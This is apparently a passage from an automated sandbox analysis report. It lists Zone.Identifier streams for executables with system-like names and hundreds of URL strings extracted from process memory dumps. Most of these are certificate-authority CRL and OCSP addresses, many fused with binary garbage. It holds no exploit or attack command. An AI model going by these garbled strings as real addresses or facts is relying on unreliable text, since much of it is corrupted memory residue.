"TokenManagerSvc.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "LicenseAgentRuntime.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "AppResolveWorker.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "StorageSyncSvc.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "CredentialMgrAgent.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "WmiAdapterHelper.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "FontProviderHelper.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "PowerProfileService.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "SecurityHealthHost.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "SystemDispatchWorker.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "PowerProfileMgr.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "AppResolveBroker.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "DefenderCoreMgr.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "CertEnrollMonitor.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "AudioDeviceWorker.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "BackgroundHostSvc.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "SensorMonitorMonitor.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "AppResolveRuntime.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "UpdateOrchestratorRuntime.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A]59:T69a,"9iqmgvw,czco!yj%lkcv%lkcvg6" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0kfp" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005376.00000000.215589.28AB0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005376.00000000.215589.29040000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005376.00000000.215589.29040000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005376.00000000.215589.29040000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yj%lkcv%lkcvg6" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0kfp" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005376.00000001.215842.28AB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005376.00000001.215842.28B96000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\programdata\microsoft\windows" - Source: "00000000-00005376.00000001.215842.29067000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005376.00000001.215842.29067000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@" - Source: "00000000-00005376.00000001.215842.29067000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00005376.00000001.215842.29140000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00005376.00000001.215842.29140000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00005376.00000001.215842.29140000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-jyqf;?0xdb7j[agysf0d1aoc1402+229879+719555cb-6de2-446c-acba-d90894acd8720m0k0ichttp://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-washington1redmond1microsoft" - Source: "00000000-00005376.00000001.215842.29140000.00000004.mdmp") Found URL "http://crl.t.com/pki/crl/products/maut_2010-06-23.crl0z0l0j>http://wsoft.com/pki/certs/micro2010-06-23.crt0tp://www.microsoft.com/pcps/default.htm0@7" - Source: "00000000-00005376.00000001.215842.29246000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_+" - Source: "00000000-00005376.00000001.215842.29246000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00005376.00000001.215842.29246000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1l0j" - Source: "00000000-00005376.00000001.215842.29246000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcthawte," - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://www.micr16090jc[y3k^,k/azvf*rizoft.com/zb" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsdr5r" - Source: "00000000-00007296.00000000.214900.D7090000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007296.00000000.214900.D7570000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007296.00000000.214900.D7570000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007296.00000001.215154.C1E92000.00000002.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crrosoft" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-jyqf;?0xdb7j[agysf0d1aoc1402+229879+719555cb-6de2-446c-acba-d90894acd8720m0k0ichttp://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.micom/pki/certs/microoceraut_2010-" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-jyqf;?0xdb7j[agysf0d1aoc1402+229879+719555cb-6de2-446c-acba-d90894acd8720m0k0ichttp://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.mii\o\\3rsa1" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsmicrosoft.management.infrastructure.userfilteredexceptionhandlingrefemit_inmemorymanifestmodulemscorlibsystem.diagnosticsdebuggableattributedebuggingmodes.ctorsystem.runtime.compilerservicesruntimecompatibilityattributesystemobjectuserfilteredexceptionhandlingexceptionactioninvokefunc" - Source: "00000000-00007296.00000001.215154.D7090000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00007296.00000001.215154.D76CE000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4dyablistlistlistfb" - Source: "00000000-00007296.00000001.215154.D76CE000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00007296.00000001.215154.D771B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007296.00000001.215154.D771B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007296.00000001.215154.D771B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-jyqf;?0xdb7j[agysf0d1aoc1402+229879+719555cb-6de2-446c-acba-d90894acd8720m0k0ichttp://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-washington1redmond1microsoft" - Source: "00000000-00007296.00000001.215154.D771B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>2696039396,2696,3,si89d7702ba014707039396,2696,6,name,2,1,0,@1dfec8acc0,30,4e004500540057004f0052004b002000530045005200560049004300450014707039396,2696,6,cchname,3,1,0,@1dfec8ac94,4,0f00000014707039396,2696,6,referenceddomainname,4,1,0,@1dfec8ad40,24,4e005400200041005500540048004f00520049005400590014707039396,2696,6,cchreferenceddomainname,5,1,0,@1dfec8ac90,4,0c00000014707039396,2696,6,peuse,6,1,0,@1dfec8aca0,4,05000000" - Source: "00000000-00007296.00000001.215154.D771B000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsheapheap" - Source: "00000000-00007296.00000001.215154.D7737000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007296.00000001.215154.D77D2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007296.00000001.215154.D77D2000.00000004.mdmp") Found URL "http://crl.osofmstan0l0j>http://www.microsoft.com/pki/cericti01.crt0elq6wo/>" - Source: "00000000-00007296.00000001.215154.D77D2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcaucooe:j9_($n&cfleglobalsign" - Source: "00000000-00007916.00000000.216272.E8990000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007916.00000000.216272.E8990000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007916.00000000.216272.E8990000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007916.00000000.216272.E8990000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007916.00000000.216272.E8990000.00000004.mdmp") Found URL "https://go.microsoft.coco0c:ings" - Source: "00000000-00007916.00000000.216272.E8990000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.micromicratiomicrt" - Source: "00000000-00007916.00000000.216272.E8990000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007916.00000000.216272.E8990000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00007916.00000000.216272.E8E70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007916.00000000.216272.E8E70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007916.00000000.216272.E8E70000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007916.00000001.216530.C4712000.00000002.mdmp") Found URL "http://crl.microsofm/pkictimstapca_2010/pkimstapca_/r$u,ev$fprg?j?" - Source: "00000000-00007916.00000001.216530.CE400000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007916.00000001.216530.CE400000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0root" - Source: "00000000-00007916.00000001.216530.CE400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007916.00000001.216530.CE400000.00000004.mdmp") Found URL 